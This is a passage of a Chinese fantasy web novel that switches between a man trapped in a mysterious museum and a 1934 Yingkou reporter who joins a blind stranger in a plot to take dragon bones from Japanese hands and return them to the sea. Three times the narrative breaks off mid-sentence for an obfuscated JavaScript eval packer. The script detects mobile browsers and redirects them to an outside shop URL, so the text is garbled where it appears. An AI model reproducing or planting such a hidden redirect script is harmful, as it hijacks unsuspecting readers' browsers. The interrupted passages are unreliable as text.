“你是说我和神一起吃了供品?” 馆主垂下手:“对。” 七零八落的碎片一块一块拼凑成完整的画面,模糊的记忆逐渐清晰浮现于脑海。他想起来了,昨夜的仙音、金光、老人,还有那碗鲜美的肉羹。震惊之余胃里忽然翻江倒海泛起一阵恶心,赵义之迅速转身冲出门弯腰干呕。 馆主不急不慢地走到他身旁,递出早已准备好的手帕,仿佛已然预料到事情会发展至此。 赵义之并没有真的吐出来,所以还算干净,他抓住馆主的手腕,缓缓转过头问他:“我昨晚吃的是什么肉?” “鹿肉。” “真的?” “真的。每隔五年,阴女便会带来一块鹿肉,进行祭祀。” “你早说啊”赵义之松了一口气,蹲在地上。全身的力气恰似瞬间被抽走,他接过馆主递来的手帕擦擦脸上的冷汗,双腿软得像骨头被融化了似的,“重要的事我希望你能放在开头说。” “重要的事……”馆主想了想,说,“你已经不是活物了。” 赵义之苦笑一下:“那我现在是鬼?” 沉默片刻,馆主才回答:“也不是。你吃了‘非此之物’,我不得已将你拉了回来。” “谢谢你。”话里带着讽刺。 “七日之后,你才有机会离开博物馆。” 赵义之摆摆手,支撑着膝盖艰难地站起来:“我今天得赶回去。一晚上了,家里人肯定很担心。” 馆主没有阻拦的意思:“不行。” “今天是我外公的八十大寿。” “不行。” “那我给我妈打个电话说一声。” “不行。” 赵义之无奈地看着她:“我妈联系不上我肯定会报警,到时候监控一查,发现我来白龙镇了,你就不怕警察来你这博物馆搜人?” 馆主波澜不惊地说:“他们不会来。” “你这是绑架……” “你忘记了一件很重要的事,等你想起来,就可以走了。” “我忘了你可以告诉我,人与人之间相处最重要的是沟通,对吧?再说留下我对你也没什么好处,我家只算小康,付不起赎金。” 馆主依然只有一句话:“七日后,你便可以离开这里。” 赵义之发现根本无法沟通:“那我要是想不起来呢?” “可能永远都出不去了。”说这句话的馆主不是在威胁,“倘若一开始你没有进来,一切都还可以挽回。即使进来,你没有闯入宴会吃下‘非此之物’,也能有个善终。” 这话说得,好像他只能死无葬身之地了。 赵义之烦躁地挠挠头,发型乱了也没管:“我承认,不该强行留下来。我道歉。但因为我吃了一口肉就把我关起来,是不是太过分了?” 馆主站在原地没动:“我答应了阴女。她说你是个好人。” 4. 须 “要不我们各退一步,我先回去给我外公过生日,两天,两天后我来让你关。怎么样?” 赵义之心中暗暗估算两人的力量,觉得自己强行突破的成功率很高。只是,他对博物馆的布局不熟悉,找路要花点时间。 而且,麻烦。 此刻他才开始后悔为什么昨晚被馆主带进房间的路上没记方向。不过在此之前,他应该先后悔为什么要按响门铃。 昨夜在车前大灯的照耀下,赵义之大致看见了博物馆的外轮廓,其实不算太大,以外高度来算,只有三层。可他顺着楼梯走了四五层楼也依旧没到底楼。他趴在楼梯扶手往下看,怎么都看不到头。 “我说了,你出不去。”馆主不知什么时候出现在他身后,“你是在浪费时间。” 赵义之面色无奈地盯着馆主看了许久,决定好好说话:“哥,你别搞我,求你了。放我出去吧,在这里呆七天我家里人真的会担心。我还有工作,无故旷工三次老板就可以开除我了。现在工作不好找啊,我只是个苦命的打工人……” 黑漆漆的墨镜遮住了馆主的眼睛,看不出他此刻究竟露出了什么样的神情:“抱歉……我帮不了你。七天后,你若能想起来,我会给你一个选择,打开大门放你出去。” “监禁是犯法的,你为什么非要关我七天?” 沉默片刻,馆主才开口:“想起来,你才有机会获得自由。” 最初醒来时脑子的确尚有混沌,不过刚才在那间青铜甗的展厅里,他已经全都想起来了。包括开车送阴女来到这座博物馆、包括主动按响门铃求收留、包括端着蜡烛准备回车里取手机却误入神域吃了不该吃的东西、包括走过隧道去了一个风景优美的地方见到了死去的表姐。 他苦思冥想,也搞不清自己究竟还忘了什么事。 “唉……”赵义之重重叹口气,“我还是继续找出口吧。” 顺着楼梯的台阶往下走了两步,他察觉到身后的馆主也跟来,于是回头看向他:“我参观一下这座博物馆也不行吗?” 馆主没有任何回应,只是静静“看”着他。 算了,能走就走,不能走拉倒。赵义之像遛弯儿似的在博物馆的走廊上信步闲庭,倒真的像个来看展览的游客,随手打开一扇门,探着脑袋往里看一眼,便走进去了。 这里与放置青铜甗的展厅差不多,四壁上刻着龙,中央是半米高的石台。 石台上看似什么也没有,可仔细一瞧,就能发现石台上漂浮着一根不起眼的丝线。 丝线浮在石台正中间,在距离地面约莫一米八的高度,没有落下,也没有飘走,像是有一股小小的气流吹着它、拘着它,只在原处旋转。 赵义之慢慢走近石台盯着丝线看,这才看清所谓的丝线原来是一根足有两米长的毛发。 仿若感应到有参观者前来,毛发微微发出幽蓝的光。 ———— 公元1934年八月初。 营口已经断断续续下了四十多天的暴雨,电闪雷鸣的,几天前才总算消停下来。 赵义之端着刚倒好热水的搪瓷杯走回工位,还没来得及喝两口,主编就急冲冲找过来,将他从座位上拉起激动得满脸通红:“快、快!龙出现了!” 晃动使得杯子里的水溅在赵义之的胸前,他放下杯子顾不及拍拍水渍,抬头看向主编:“在哪儿?” “烟草公司外的芦苇塘。”主编见他一副茫然的样子急得比划起来,“你现在立刻就去,务必将情况详细记录下来!” “好!” 赵义之抓起办公桌上的笔记本冲出去,三两步跑下楼,将笔记本放进随身斜跨的布袋里,骑上自行车朝芦苇塘出发了。 与家喻户晓的《盛京时报》不同,他就职于的报社是一家规模很小的报社,平时报道的多是鸡毛蒜皮的小事,无关痛痒。并非主编和记者们不想写大事件,而是大事件每家报社都写,没了独特性。 毕竟玉放进展柜才叫精品,在批发市场只能叫石头。 再加上报社只有一台照相机,大多数时候轮不到他这般的普通记着来使用,这也就造成许多他认为有趣的新闻没有照片。比起晦涩的文字,百姓还是更喜欢图片的。这也是《营川新说》销量不好的原因之一。 骑着自行车赶到芦苇塘,还没看见龙的真身就已经闻见了浓郁的恶臭。眼下正值三伏天,是一年中最热的时候,腐肉的臭味混在炎热的空气里,熏得人脑袋发晕。 芦苇丛里已经围满了人,全都是来看龙的。站在最外层的赵义之伸长脖子踮起脚尖,想从人缝间偷得一丝机会,看一看里头。可惜还是什么都没偷着。 防疫站的白大褂背着消毒的器具站在人群外喊:“都让让,我们要给尸体消毒!” 围观的民众知道消毒的重要,一下子给防疫人员让出了一条道。赵义之瞅准时机,顺着白大褂们往里走的队伍钻到了最前排。 警察署的人面朝人群张开双臂负责维持秩序,将看稀奇的老百姓拦在外面。可是他们也好奇,不时回头看向那具灰色的尸体。赵义之也被拦下来,只能隔着距离看。 那具千疮百孔的巨大尸体足有四层楼高那么长,浑身裹着黑泥,像条蟒蛇般弯曲盘在沙土地上。可是蟒蛇的头上绝长不出两根将近一米的角。 “这到底是个啥东西?” “这是龙!” 赵义之看得目瞪口呆,直到听见旁边的人议论起这个生物的来历,才猛然醒过来,赶紧拿出白纸,迅速将怪物的模样画下来。 虽然拍不了照片,但有幅手绘图也总归是好的。 他并不是一开始就会画画。起初,在新闻现场看见别家报社抬着相机记录画面,他心里羡慕又无奈,拿笔记录的手不知不觉开始在笔记本上涂鸦。如今,他的画技见长,哪怕比不过照片也算得上是真实了。 怪物的尸体已经爬满蛆虫开始腐烂,但模样勉强还能辨别出来。有角、有爪、有须、有鳞,不正是话本里的龙么? 画完尸体,赵义之又从包里翻出随身携带的笔记本,拔开钢笔冒问:“同志,这条龙怎么会出现在这里?” “不知道,别瞎打听。”警察署的人丝毫不给他半点情面。 旁边热心的大姐看不惯,主动给赵义之讲起来:“听说之前就在水塘里了,守塘的老卢看见之后还生了病。” 话题被挑起,不需要赵义之再追问,周围的人自然而然聊开了:“上个月28号,就有龙从天上掉下来然后又想飞上去,好多人都看见了。还死了几个人,房子啊船啊,还有火车,全都掀翻了!” “我也听说了,死了好几个呢。说是龙在飞升。上个月不是下了四十多天的雨嘛,肯定和这龙有关。” 死人的事赵义之是知道的,还在当天进行了采访,写出一篇文章刊登在报纸上。但那时,他赶过去的时候,现场已经被警察给控制起来,他没能亲眼看见,走访周边的相关人员也是众说纷纭,什么离奇的都有,但龙字却出现在每个人的口中。 他本来想继续顺着线索追查,可主编却不信,坚持是安全事故,是责任方想隐瞒真相,不准他再浪费时间。 如果他当时坚持自己的意见和主编抗争到底,说不定就可以记录下龙活着的模样了。 赵义之看着防疫人员正在处理的巨大尸体,非常后悔。 “七月初的时候这条龙就已经出现了!” 周围的人还在议论。 “真的?在哪儿出现的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248777|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “在田庄台出现了好几天呢,还有和尚给它念经。” “那咋就突然死了呢?” “我估计啊,是被雷从天上给劈下来的,然后回不去了。那可不就活不了了嘛。” “这地方离入海口不远了,说不定它是想回海里去呢。” “就差一点,可惜了。” 围观的群众纷纷为这条灰白巨龙的死而惋惜叹气。赵义之竖起耳朵仔细听着,将有关龙的每一个字都写在了随身的小笔记本上。 防疫人员给龙的尸体消完毒,随后开始剥肉剔骨做记录。大片大片的龙鳞被扒下来,装进大木框。皮与腐肉不好分离,便割成块,将骨头从里面抬出来分装好。警察署的人找附近的居民借来板车,将装有尸块的木框抬上去垒好,准备运走。 赵义之立刻走上前:“你们打算怎么处理这些东西?” 警察署的人看了他一眼,抬高下巴扬声道:“大家想看啊,就到西海岸码头空地上去。我们应要求,将会把这具龙骨展览数日。” “龙骨?”赵义之追问,“那这些龙肉呢?” “拿去做包子!”那人没好气地说。 听见龙骨会展出,先前没能挤到前排看过瘾的人立刻往西海岸跑,想在人群聚集前抢个好位置。而更多的人里外围在板车周围,借口帮忙推车盯着框里的烂肉看。 赵义之也想加入其中,可自行车还停在塘边上,总不能就不要了。几番纠结后,他一咬牙,转身逆着人流去骑车。 为了早些过去抢占个好位置,他拼命蹬着脚踏板,手里不停拨动铃铛,横冲直撞往前骑。结果没走多远,便哎哟一声撞了人。他摔下自行车倒在地上,包里的钢笔掉出来,磕断了笔尖。 他顾不得受伤的膝盖,捡起钢笔,心疼得不行,埋怨地瞪了被撞的男人一眼:“你会不会走路啊,听见我按铃还往路中间靠。我这钢笔老贵了!一会儿还要去采访写稿子!” 被撞倒的男人趴在地上,慢悠悠坐起来:“对不起。” “说对不起有什么用,你倒是赔我钢笔啊。”赵义之嘟囔着,眉头因生气而紧蹙在一起。 “你有事没事?”他没好气地又问。 “我没事。”男人站起身,走到被撞飞出去的墨镜旁,弯腰正准备捡起来,一只脚便不偏不倚地踩上去。 是刚才聚在这里看龙的几个孩子,打闹之间跑过来,无意踩在墨镜上。 墨镜坏了,小孩连连道歉。最开始态度还挺好,可在抬头看见男人灰白色的眼睛后,几个孩子没敢等他说什么,立马转身跑了。男人捡起被踩坏的墨镜,仔细折起来放入裤兜。 男人的模样不大像本地人,眉眼深邃,五官太过精致。 赵义之扶起自行车推着走到男人身边,心里不免有了内疚:“你眼睛看不见?” “嗯。”男人将脸转向赵义之,“我赔你一支新钢笔,多少钱?” 真要追究起来,这事赵义之也有责任,再加上对方又是个残疾人,他狠不下这个心:“算了,我一会儿拿去看能不能修好。你呢,你的眼镜……” “坏了。” “我刚刚可看见了,是那几个小孩踩坏的,你别想赖我。” “嗯。” 赵义之都做好要和他吵架的心理准备了,见男人没有责怪他的意思,心里反而有些不好受,于是一咬牙拿出身上的钱,将一枚银元塞进男人的手里:“我还要卖钢笔,只能给你这么多了。你确定不用去医院?” 男人摸着手里的银元微微低下头:“不用。” “那我走了。”赵义之跨上自行车要走,想了想,给男人留下一句话,“我叫周书云,在《营川新说》上班,你有事可以来找我。” 5. 想回家的骨头 周书云有个习惯,为了方便随时记下突发的事件,他总是随身带两支笔,一支写字的钢笔,一支画画的铅笔。他会小心翼翼地将笔装在一个细长的小铁盒里——这铁盒是他找了好久,才终于在旧货市场上买到的。 如果之前不是着急赶往西海岸而将钢笔随意放进布包,它也就不会掉出来摔断笔尖了。 眼下最重要的是了解更多关于天降神龙的细节,没时间让他重新去买只新钢笔——要是错过这种惊天大新闻,还不如直接转行算了。 他化悲愤为力气,站起来猛力蹬着脚踏板。 等周书云骑着自行车来到西海岸,再找到合适的位置停好车,运送龙尸的板车与民众也到了。警察署的人找来四个船锚放在四个点上,又拉上绳子缠绕在船锚上,拉出一个隔绝的范围,这才将不完整龙骨卸下板车堆在地面上,等着专人来摆放龙骨。 周书云抢了个好位置,若是手中有台照相机,想必定能拍出最好的照片。 可惜,实在是可惜。 比起有肉有皮的时候,堆放在一起的骨架对于周书云来说有点难画,索性作罢,尽可能将骨头的信息记下来。 骨节二十八段,各长尺余;龙角两根,长约四尺;肋骨五六寸,共一百五十余根。 水产学校的老师围着龙骨研究许多日,在终于龙的骨架拼好。 龙骨在西海岸的广场上展览了好些时日。起初是免费的,后来经过报纸的报道,知晓这件事而前来观龙的人越来越多,水产学校的人也就开始售票了。 即使如此,西海岸的广场上仍然是人山人海,还有许多人特意从外地坐火车来参观。 至于为什么是水产学校的人售票—— 水产学校的校长是个日本人。 龙的传闻闹得满城风雨,在营口的日本人自然也听说了这件事。作为当地的“权威”,水产学校的校长希望能对龙骨进行更深的研究。 于是这副绝无仅有的骸骨便捐给了水产学校。 得到龙骨后,日本人并没有立刻收回去研究,而是在广场上搭起棚子,搬来八仙桌,将龙骨泡进福尔马林放在桌上供人观赏。 收的票钱自然全都划入了水产学校的账上。 说来实在好笑。在中国发现的中国龙,却归日本人所有,而中国人还需要向日本人交钱才能看上一眼。 这件事令周书云十分不痛快,在报纸上对此大批痛批。可惜《营川新说》没什么销量,他的愤慨未能激起水花。相反的,人们对龙骨属于谁没有太多想法,或许有,但也都无可奈何,只要能亲眼看看这传说中的神兽之骨,便已是非常高兴了。 1934年,日本已经发起对华的侵略战争,不仅是在东北,全国各地都在进行大大小小的战役。日本军队像蝗虫一般在中国的土地上肆虐、啃噬、摧残着生活在这里的所有生命。百姓无力反击,不知哪天就被冠以荒唐的罪名丧命刀口下,他们活得担惊受怕,被迫接受残忍的现实。 龙骨的出现,是这晦暗的时光里,唯一可以令人短暂忘记苦难的仙药。 然而龙从天上掉下来,死了,隐隐之中又在人们心里埋下不安的情绪。 一时间,大街小巷的议论从神龙现世变成了降龙酿灾。 龙没有酿成灾祸,而是替我们挡住了灾祸才对。周书云反复思考后得出这个结论。 天龙用自己的命,换了中国一命。 这预示着日本人一定会被打败、被赶出去。 周书云从床上坐起来,穿上鞋子出了门。 他这次决定顺从自己内心的想法,为了日后不再后悔。 今天是龙骨展出的第七天。自打第三天将龙骨捐赠给日本人创办的学校后,周书云再没去看过了。其一,是他不想给日本人钱,被动的给是迫于无奈,主动的给可就不行;其二么,该看的都已经看了,文章也早已登报,他没有再去凑热闹的必要。 其实这些天周书云一直在思考,要怎么做才能将龙骨从日本人手里拿回来——即使这只是一场妄想。 可是时至今日,即使是在妄想中,他也没能想出个好方法。 借着月色,周书云来到西海岸,躲在墙角的阴影中看着不远处的棚子。 这一路上,他从最开始的步履急切到中途变得迟疑,几番慢下来,想打道回府。但偏偏在他快要放弃时,却看见了那日被他撞到的瞎子。 瞎子脸上的墨镜换了副新的,正沿着街巷往前走。观其方向,应该也是要去西海岸。于是周书云一咬牙,决定偷偷跟在他身后。 男人步伐沉稳从容,手里没拿探路的东西。如果不是周书云事先知道男人眼睛看不见,恐怕此时见着他走路的身姿,根本想不到他是瞎的。 眼睛看不见么,出门多少会显得谨慎一些的。 而这个男人,没有借助任何自身之外的力量,准确无误地走到西海岸。 水产学校雇的守棚老头坐在竹椅上闭眼打盹,手里的蒲扇不时摇一摇,驱赶苍蝇。日本人料定没人敢对龙骨做什么,所以夜里也是不收走的。 这附近人家户少,到了夜里没什么光亮,只有席棚上挂的一盏煤油灯。 男人绕过打盹的老头走向席棚,仿若眼睛看得见一般撩起门帘,弯腰钻了进去。不多久,打盹的老头猛然惊醒,从竹椅上跳起来冲进席棚。 周书云一拍大腿,心里暗叫了声不好,朝棚子着急跑去。 “你想干哈!”老头的高亢的声音从棚内传出来,“出去!” “哎呀可算让我找到你了!”周书云叫着撩开门帘走进席棚,挽住男人的胳膊要往外走,“你说你,一个瞎子瞎跑什么,净添乱!我都说了要送你回去了,就等我上个厕所的功夫,着啥急啊。” “你……” 周书云立刻打了男人一下,不让他说话,随后转向老头说:“我这朋友是个瞎子,非要自己回家。您瞧,这不走错了。” 老头狐疑地打量着周书云与男人,似乎并不相信他过于刻意的表演。 棚内一时间没有人声交谈,只剩下诡异的咯咯声。 周书云这时才注意到,八仙桌上泡在福尔马林里的龙骨正在不断冒着血泡。 水产学校接手展览后,就将这副龙骨仔细处理过,什么血啊组织啊,在泡进福尔马林之前全部处理得干干净净,绝不可能发生这种情况。 “龙、龙神发怒了……”老头面露恐惧全身哆嗦,“神龙发怒了!” 他叫喊着跑出席棚。 周书云盯着老头的背影撇嘴笑了笑,这才收回目光推开男人的胳膊,走近八仙桌探着脑袋往玻璃缸里看。 “啧啧啧,落到鬼子手里被当成商品,龙不发怒才怪。” 男人拉住周书云的胳膊:“快走。他去叫人了。” 周书云犹豫两秒,拉着男人跑回自己家。 关门时他伸出脑袋左右看看,这才缩回去,合上大门挂好插销。 “书云,这么晚了你去哪儿了?”房里的奶奶被关门声吵醒,哑着嗓子问。 “没事儿,奶,您快睡吧。”周书云站在院中回应了,领着男人走进自己的屋。 他的父母原本是捕鱼的船主,靠海吃海,好不容易供出他这个高中生。当年,他一腔雄心壮志想去北平。可日本人来了,抢占了近海的资源,逼得不听话的渔民只能去更远的海上。某次出海,他父母的船就再也没回来,死不见尸。 家里的支柱倒了,只剩下他和奶奶两个人。未来没有给他美好的选择,能走的路只有踏实赚钱,养活自己和奶奶这一条。 “半夜三更,你去龙棚干啥?”周书云给男人倒了杯热水。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248778|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人没喝,沉默许久才开口:“周……先生?谢谢你刚才替我解围。” 周书云坐在炕上,借着昏暗的油灯端详男人的容貌:“龙骨为什么会突然冒血泡?你做了什么?” 男人微微颔首,沉默不语。 “看在我替你解围的份上,说说。” 端坐着的男人似乎软了一点点:“我摸了龙骨。” “就摸了?” “嗯。” “然后龙骨开始冒血泡?” “嗯。” 周书云对此抱有深深的怀疑,但不知道为什么,他觉得不能追问得太紧,于是说:“我还没摸过呢,早知道就该趁那老头跑出去的时候摸一把。” “龙骨不能留在这里。”男人突然说,“会引来灾祸。” 周书云皱了下眉头,似乎明白男人的打算了。不过如果灾祸能降临在日本人头上,他还是很乐意见的。 “照你这么说,那副骨头真的是龙骨?” “是。” 周书云盘起腿:“说吧,你想干什么。” 男人将脸转向周书云,像是盯着他似的,保持了片刻,说:“我要带龙骨走。” 并不意外。 “带去哪儿?” “龙穴。” “龙穴?!”周书云一听,眼神立刻亮了,又惊又喜,“是指……龙的巢穴?!有这种地方?!”说完后他回过味来,连连又道,“对对对,肯定有的,龙如果只有一条就不可能繁衍。龙穴在什么地方?”他想去。 “马里亚纳海沟。”顿了顿,男人补充道,“也叫归墟。” “《列子·汤问》里的归墟?真有这种地方……你知道在哪儿?” “我去过。” 周书云诧异到极致反而冷静下来,他再次细细打量男人:“瞎子,你究竟是什么人?” 幽幽的,男人似乎轻轻叹了口气,随后才回答:“我叫拉姆。能告诉你的只有这么多。” “拉姆……”周书云低头呢喃着重复了一遍,“藏族人?不对。” 听名字不像是中国人,至少不是汉人。再加上那副容貌…… 就在周书云沉思间,拉姆慢慢站起身:“不打扰周先生休息了。” “等等!”周书云猛地下炕叫住他,“归墟在海里,你有船吗,怎么带龙骨去?” 拉姆微微垂下脑袋,明显犹豫了。至于在犹豫什么,周书云没兴趣细究。 “带龙骨回龙穴比落在小日本手里强。我帮你,我知道哪里有船。而且你别看我这样,我从小可是在船上长大的,知道怎么开船。我和你一起送龙骨回家。” “不行,那里不是你该去的地方。” 周书云嘴角坏坏一勾,信步走到拉姆面前:“不让我去,我就告诉警察署的人你要偷龙骨!那群人要是知道了,为了讨好日本人肯定会把你关起来。管你是拉姆扯姆,一顿打肯定少不了。” “卑鄙。”拉姆的声音没有起伏,好像不是在骂人。 “我这叫谋略。”他抓起拉姆的右手,握上去,被冷得皱了下眉头,“你的手这么冷,是气血不足?” 拉姆不想再节外生枝,于是妥协了:“船什么时候可以出发?” “等我通知。” 拉姆点点头,再次准备离开。 周书云忽然心里生出个主意,瞥了眼拉姆脚下,立刻出声叫住他:“对了,我怎么找你?” 说完,他悄悄端起桌上的水杯,轻手轻脚放在拉姆脚尖前,正好是一步的距离。 “我住在铁路附近的招待所。”拉姆似乎没有察觉到周书云的试探,“出海日子定了,请提前一日告知我。” “好。”周书云的声音里带着开心。当然,这股情绪是源自于成功设置了陷阱,“你打算怎么将龙骨弄过来?” 6. 海上的帆 “周先生,我想请你再帮一个忙。”拉姆说。 周书云一口答应:“好啊。需要我做什么?” “不着急,等你来找我的时候,我再详细告诉你。今天就到这里,再见。”拉姆抬起脚,跨过了周书云放在地上的水杯,开门走出去。 不知是刚巧,还是他真有某种感应,若是不提,甚至没人能看出拉姆是个瞎子。 周书云撇撇嘴,弯腰捡起水杯,揭开杯盖喝了口里面的热水,躺上没通热气的炕,寻思起如何弄来一艘能去归墟的船。 如果父母还在,或许他也有坐在渔船上吹着海风的机会。太阳会热烈地照在他身上,他戴着草帽身穿短裤背心,坐在船头哈哈大笑,皮肤变得和父亲一样黝黑。 他的父亲有个愿望——等存够了钱,买一艘远洋的柴油船,带着母亲、妻子、与他,去大海彼端看广阔的世界。 这是一个梦想,只是一个梦想。 父亲去过最远的海,就是在他死的那天,没有柴油船,没有广阔的世界。 只有可恶的鬼子。 连出现在他梦里的时候,都是一群烧杀抢掠的畜生。 以至于梦醒来后,他的眼角都仍有湿润。 周书云用力搓搓脸,迅速洗漱好,端起桌上的白米粥站着两口喝完,抓起一个馒头着急出门了。奶奶手里的咸菜还没来得及放下,追着他走到院中招呼了几声,全被咬着馒头的周书云含糊应付过去。 他今天要去找船。 儿时,他有个关系特别铁的好兄弟,年纪相仿,臭味相投。大人出海捕鱼时,留下两个小子满大街胡闹,闯了数不清祸。直到他父母勒紧裤腰带用捕鱼的钱送他去上学,那些惹事生非相互照应的时光便停在了岔路口,永远保存在过去。 他穿上灰衣灰裤背着书包走在右边通往学校的路上,而他依然一身背心短裤扛着鱼竿顺着左边的路跑向大海。地面开满一朵朵小野花,天空干净而明亮。 “你找谁?”船厂的老工人问。 周书云推着自行车,迎上前问:“你好,我找你们刘厂长,约好了做个采访。” 他留了个心眼。 身形消瘦满头花发的老工人驼着背,一只手背在身后,一只手摇指里面:“你去里面看看。” “好,谢谢您。”他将自行车停在车棚,被抛起的钥匙最终喀拉一声稳稳落在掌心。他一面快步往里走,一面小声喊,“陈达。” 船坞处,尚未造完的船身后面伸出一只脑袋,见到周书云立刻露出笑,和小时候一样。 “周云!你干啥鬼鬼祟祟的。”陈达年将手中的钉锤放进腰间的包,扯下头上的帽子擦了擦手里的污垢,大笑着热情迎接,“好小子,怎么想起我了?” 周书云冲过去给了陈达年一个大大的拥抱:“当然是有事找你。这个忙只有你能帮我了,别人我都信不过。” “什么事说得这么严重。”陈达年说罢好似想到了什么,双眼顿时亮起来,“你小子要结婚了?!” 周书云猛地推开他,皱起眉来:“我还想呢,可哪家姑娘能看上我。” 陈达年变得严肃起来,脸上也不见了笑:“不是找我闹洞房?那还有什么事?你奶奶出事了?” “不是。”周书云左顾右盼,神神秘秘地将陈达年拉到一旁,压低了嗓音,“我想要一艘船,去远海的。你有办法么?” “你要出海?”陈达年十分惊讶,随后也压低了声音,“现在日本人控制了港口,出海可不容易。” “所以我才来找你。全营口除了我奶,我只信你了。” “你先告诉我,你出海要去哪儿?” 周书云谨慎地看了看四周,小声说:“龙骨的事你知道吧?” “我看了你写的文章。是真的?” “千真万确。不过龙骨现在归日本人了,我要把它从日本人手里抢回来,运出海。”周书云攥紧拳头,眼里藏不住怒火,“我宁愿把龙骨扔进海里,也不给那帮杂种。” 陈达年睁圆了眼:“就凭你自己?” “还有一个人。详细的我不和你多说,你只管替我找艘可以去远海的船,不需要船员,就要船。” 陈达年蹙着眉头想了想,咬咬牙下定决心:“好。有艘废弃的帆船,我修补修补给你用。但是你懂风向海流?” “上学的时候学过一些。”周书云想到了神秘的拉姆,又说,“放心吧,有另一个人在,这些不是问题。” 他不知道自己为什么如此信任拉姆,一个长相独特气质独特的盲人。难道只是因为他确认了龙骨的真伪,以及提到归墟这个地方吗?不,肯定不止这些的。 日本人来到营口的这些年,他亲眼见过被日本人的汽车撞死的小孩、被日本兵开枪打死的拉车师傅、横尸海边的少女。他的血液早已在一次次被撤稿、一次次被威胁中慢慢变成火药,只差一根引线,只差一点火苗。 与其说是相信拉姆能夺回龙骨,不如说是拉姆给了他一个机会,一个反抗的机会。 “那个人靠得住吗?”陈达年悄声问,“是不是那个,不能提的那个?” “我也不知道,但肯定不是日本人。” 陈达年拍拍周书云的肩:“行,船的事交给我,肯定给你修补得能正常航行。” 周书云从包里拿出一个厚厚的信封塞给陈达年:“这些钱你拿去买修船的材料,不够我再给。如果有剩的,你自己留着,权当我提前给你的结婚红包。” 陈达年低头看着手里的信封。隔着一层薄薄的纸,里面的钱币传来沉甸甸的感觉。他有些哽咽:“周书云……” 只有在最正经的时候,陈达年才会喊他全名。周书云一下子挺直了后背。 “你老实告诉我,你是不是没打算回来?” 他扬起手,想和以前玩闹时一样狠狠打他,然后说句趣话。可突然他便没了这个心情,刚摆出的笑容也僵在正要绽放的时候,再也没有后继之力了。 周书云放下手,顺势搭在陈达年的肩上,正色道:“好兄弟,如果我回不来了,你替我给我奶送个终。” 陈达年猛地抬起头,对上周书云的目光后便知道自己劝不住他了:“放心吧,我陈达年不是个辜负朋友的人。” 周书云笑着点了点头:“我当然信得过你。” 父母出海未归的那天,陈达年陪他坐在海边等,一直等到了第二天的早上。小渔船不会在海上过夜,只要过夜,便再难回来——所有人都明白发生了什么。 总有一天,我要把小鬼子剁碎扔进海里喂鱼。 看着海港的日本渔船,他咬牙切齿对陈达年说。 陈达年立刻捂住他的嘴,将他拖回了家。 回了家,奶奶红着双眼坐在院子里,想来也是一夜未眠。 “书云,你过来。”奶奶从厨房里出来,在围腰上擦干净手上的水。 厨房顶上的烟囱冒着烟,飘入紫色霞光里,好似一层纱,渐渐便淡了、散了。 周书云跟着奶奶进了屋,站在离门不远的地方看着老人趴在炕上掀开枕头找东西:“奶,你找啥?” 奶奶将枕头放回原处,拍了拍,顺势在炕上坐下,悬空的双腿交叉叠在一起,手里拿着一个用大红花布包裹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248779|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的东西:“我听达年说了,你要出海。” 周书云心虚地垂下目光:“我本来打算过两天给您说的。” 奶奶没有抬头看他,一面掀开大红花布,一面说:“我知道,自你爹娘死后,你心里一直有火。这些是奶奶攒下的钱,你给达年送去,别让他自己掏钱赔给你。” “您……同意我出海?” 奶奶抹了把眼泪,将一把银元放在桌上:“不拦,男儿志在四方,奶奶不拦你。把这个也带上。”她颤抖的手从摊开的大红花布里拿出一张照片,递给周书云。 周书云立刻走上前,双手小心接过来。 这是他们一家四口的照片,是他考上高中那会儿,父亲请照相馆的老板来拍的,背景是外面的院子。 那天他穿上母亲做的新衣服、奶奶做的新鞋子,胸前的口袋里放着父亲送的钢笔,被拥在正中间,张开双臂握住了他们。照片已经有些模糊了,但四人脸上的笑仍像盛开的红梅花,冬雪不摧。 “奶奶还年轻,身子骨也硬朗,你不用担心。” 周书云握紧老人的手,坚定地说:“奶,我一定会回来,给您养老送终。” 奶奶抽出一只手锤了他一记,黄黑的手背上皮肤已然松垂,挤出一条又一条的纹路。 “说的什么话,要送终还早着呢!哎哟,我煮的饭。”她将银元全部扔在桌上,逃似的大步走出了房间。 周书云一手抓着照片,一手抓着钱,强忍着没哭。 这次出海,是倾尽他后半身的破釜沉舟。 即便能回来,等着他的将会是怎样一种下场,不用费心思去想,也能知道。 就是死么。 不就是死么。 终于,在龙骨展出结束后的第五日,即将迎来中秋节时,帆船的修补工作完成了。周书云在陈达年的带领下,躲开日本人的监视悄悄来到废弃的偏远港口。 修复过后的帆船就停在这里。 天色已近晚,还剩下最后一抹斜阳余晖映照海面上。海风推动浪花,摇晃着如火的波光向船靠拢。 